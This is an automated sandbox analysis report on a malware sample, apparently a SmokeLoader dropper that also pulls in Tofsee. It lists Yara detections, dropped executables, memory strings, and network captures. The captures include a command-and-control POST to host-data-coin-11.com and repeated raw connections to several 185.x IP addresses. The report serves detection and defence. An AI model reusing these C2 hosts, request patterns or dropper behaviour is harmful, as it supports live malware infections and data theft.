Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:13:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171

Source: svchost.exe, 00000012.00000003.382742534.0000019CB73D3000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2021-12-15T12:35:18.6138891Z\|\|.\|\|e217b6c4-7952-49aa-94f4-7f08eae9e9cb\|\|1152921505694292641\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 00000012.00000003.382742534.0000019CB73D3000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2021-12-15T12:35:18.6138891Z\|\|.\|\|e217b6c4-7952-49aa-94f4-7f08eae9e9cb\|\|1152921505694292641\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 00000012.00000003.382742534.0000019CB73D3000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","SkuTitle":"Spotify - Music and Podcasts","Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","A equals www.facebook.com (Facebook)
Source: svchost.exe, 00000012.00000003.382742534.0000019CB73D3000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","SkuTitle":"Spotify - Music and Podcasts","Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","A equals www.twitter.com (Twitter)
Source: D80A.exe, 00000024.00000002.517553061.0000000002F01000.00000004.00000001.sdmp	String found in binary or memory: ium PDF Plugin","versions":[{"comment":"Chromium PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"divx-player":{"group_name_matcher":"DivX Web Player","help_url":"https://support.google.com/chrome/?p=plugin_divx","lang":"en-US","mime_types":["video/divx","video/x-matroska"],"name":"DivX Web Player","url":"http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe","versions":[{"status":"requires_authorization","version":"1.4.3.4"}]},"facebook-video-calling":{"group_name_matcher":"Facebook Video","lang":"en-US","mime_types":["application/skypesdk-plugin"],"name":"Facebook Video Calling","url":"https://www.facebook.com/chat/video/videocalldownload.php","versions":[{"comment":"We do not track version information for the Facebook Video Calling Plugin.","status":"requires_authorization","version":"0"}]},"google-chrome-pdf":{"group_name_matcher":"Chrome PDF Viewer","mime_types":[],"name":"Chrome PDF Viewer","versions":[{"comment":"Google Chrome PDF Viewer has no version information.","status":"fully_trusted","version":"0"}]},"google-chrome-pdf-plugin":{"group_name_matcher":"Chrome PDF Plugin","mime_types":[],"name":"Chrome PDF Plugin","versions":[{"comment":"Google Chrome PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"google-earth":{"group_name_matcher":"Google Earth","lang":"en-US","mime_types":["application/geplugin"],"name":"Google Earth","url":"http://www.google.com/earth/explore/products/plugin.html","versions":[{"comment":"We do not track version information for the Google Earth Plugin.","status":"requires_authorization","version":"0"}]},"google-talk":{"group_name_matcher":"Google Talk","mime_types":[],"name":"Google Talk","versions":[{"comment":"'Google Talk Plugin' and 'Google Talk Plugin Video Accelerator' use two completely different versioning schemes, so we can't define a minimum version.","status":"requires_authorization","version":"0"}]},"google-update":{"group_name_matcher":"Google Update","mime-types":[],"name":"Google Update","versions":[{"comment":"Google Update plugin is versioned but kept automatically up to date","status":"requires_authorization","version":"0"}]},"ibm-java-runtime-environment":{"group_name_matcher":"IBMJava*","mime_types":["application/x-java-applet","application/x-java-applet;jpi-version=1.7.0_05","application/x-java-applet;version=1.1","application/x-java-applet;version=1.1.1","application/x-java-applet;version=1.1.2","application/x-java-applet;version=1.1.3","application/x-java-applet;version=1.2","application/x-java-applet;version=1.2.1","application/x-java-applet;version=1.2.2","application/x-java-applet;version=1.3","application/x-java-applet;version=1.3.1","application/x-java-applet;version=1.4","application/x-java-applet;version=1.4.1","application/x-java-applet;version=1.4.2","application/x-java-applet;version=1.5","application/x-java-applet;version=1.6","application/x-java-applet;version=1.7","application/x-java
Source: D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517353790.0000000002E45000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	String found in binary or memory: m9https://www.facebook.com/chat/video/videocalldownload.php equals www.facebook.com (Facebook)

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://hxdjiru.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 256Host: host-data-coin-11.com

Source: unknown	HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.3:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.199.248.10:443 -> 192.168.2.3:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.199.248.14:443 -> 192.168.2.3:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.158.215:443 -> 192.168.2.3:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 164.132.207.80:443 -> 192.168.2.3:49862 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 4.1.GJXZRPhgm4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.aafjaea.8615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.GJXZRPhgm4.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.GJXZRPhgm4.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.B7EC.exe.8615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.GJXZRPhgm4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.1.B7EC.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.GJXZRPhgm4.exe.8615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.GJXZRPhgm4.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.B7EC.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.1.aafjaea.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.aafjaea.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.331948331.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.332115128.00000000022F1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.386841887.0000000000570000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.386885797.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000000.323021841.0000000004DE1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.412129013.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.412155343.00000000005A1000.00000004.00020000.sdmp, type: MEMORY

Source: aafjaea, 0000000F.00000002.372800640.0000000000A8A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands:

Yara detected Tofsee

Show sources

Source: Yara match	File source: 25.2.CF8D.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.CF8D.exe.860e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.CF8D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.3.CF8D.exe.880000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000003.408911426.0000000000880000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CF8D.exe PID: 1068, type: MEMORYSTR

System Summary:

PE file has a writeable .text section

Show sources

Source: C209.exe.11.dr

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 1_2_008631FF	1_2_008631FF
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 1_2_00863253	1_2_00863253
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_2_00402A5F	4_2_00402A5F
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_2_00402AB3	4_2_00402AB3
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_1_00402A5F	4_1_00402A5F
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_1_00402AB3	4_1_00402AB3
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 15_2_008631FF	15_2_008631FF
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 15_2_00863253	15_2_00863253
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_2_00402A5F	16_2_00402A5F
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_2_00402AB3	16_2_00402AB3
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_1_00402A5F	16_1_00402A5F
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_1_00402B2E	16_1_00402B2E
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Code function: 22_2_00402A5F	22_2_00402A5F
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Code function: 22_2_00402AB3	22_2_00402AB3
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_00410800	23_2_00410800
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_00411280	23_2_00411280
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_004103F0	23_2_004103F0
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_004109F0	23_2_004109F0
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Code function: 25_2_0040C913	25_2_0040C913
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 26_2_02FC9720	26_2_02FC9720
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 26_2_02FC0B48	26_2_02FC0B48
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 26_2_02FC0470	26_2_02FC0470
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 26_2_02FC0462	26_2_02FC0462
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 26_2_03058590	26_2_03058590
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 26_2_0305DDF0	26_2_0305DDF0
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 26_2_03058DA8	26_2_03058DA8
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 26_2_03058DB8	26_2_03058DB8
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 26_2_056E1410	26_2_056E1410
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 26_2_056E5188	26_2_056E5188
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 26_2_056E0040	26_2_056E0040
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 26_2_056E2A48	26_2_056E2A48
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 26_2_05710135	26_2_05710135
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 36_2_055274C8	36_2_055274C8
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 36_2_05527C58	36_2_05527C58
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 36_2_05527C4A	36_2_05527C4A
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 36_2_05524BB8	36_2_05524BB8
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 36_2_0552DA70	36_2_0552DA70
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 36_2_0552DA80	36_2_0552DA80

Source: C:\Users\user\AppData\Local\Temp\CF8D.exe

Code function: 25_2_00401280 ShellExecuteExW,lstrlenW,GetStartupInfoW,CreateProcessWithLogonW,WaitForSingleObject,CloseHandle,CloseHandle,GetLastError,GetLastError,

25_2_00401280

Source: GJXZRPhgm4.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: GJXZRPhgm4.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CF8D.exe.11.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CF8D.exe.11.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B074.exe.11.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B074.exe.11.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: C209.exe.11.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D1AA.exe.11.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D1AA.exe.11.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D1AA.exe.11.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B7EC.exe.11.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B7EC.exe.11.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: C376.exe.11.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: C376.exe.11.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: aafjaea.11.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: aafjaea.11.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ackjzztq.exe.25.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ackjzztq.exe.25.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Section loaded: mscorjit.dll	Jump to behavior

Source: sqlite3[1].dll.23.dr	Static PE information: Number of sections : 19 > 10
Source: sqlite3.dll.23.dr	Static PE information: Number of sections : 19 > 10

Source: GJXZRPhgm4.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\ecrnzymb\

Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Code function: String function: 00862794 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Code function: String function: 0040EE2A appears 40 times
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Code function: String function: 00402544 appears 53 times
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Code function: String function: 0042B510 appears 31 times
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: String function: 00427590 appears 124 times
